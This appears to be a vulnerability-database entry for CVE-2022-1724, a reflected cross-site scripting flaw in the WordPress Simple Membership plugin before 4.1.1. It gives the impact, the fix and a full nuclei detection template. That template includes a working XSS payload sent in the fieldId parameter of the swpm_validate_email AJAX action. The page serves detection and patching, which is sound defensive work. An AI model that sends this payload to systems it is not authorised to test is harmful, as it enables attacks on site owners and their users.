HexBrain

Browse / CVEs / CVE-2022-1724

CVE-2022-1724· simple-membership-plugin / simple membership· CWE-79

WordPress Simple Membership <4.1.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability.

How to confirm it

Send: GET /wp-content/plugins/simple-membership/readme.txt
Positive when: contains "Simple Membership" and "Tags:"
Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "\"<script>alert(document.domain)</script>\"," AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1724 -u <target>

The full check
id: CVE-2022-1724

info:
  name: WordPress Simple Membership <4.1.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1724
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1724
    cwe-id: CWE-79
    epss-score: 0.01802
    epss-percentile: 0.78695
    cpe: cpe:2.3:a:simple-membership-plugin:simple_membership:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: "simple-membership-plugin"
    product: "simple_membership"
    framework: wordpress
  tags: cve,cve2022,xss,wp,wordpress,wpscan,wp-plugin,simple-membership-plugin,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/simple-membership/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Simple Membership'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"<script>alert(document.domain)</script>",'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from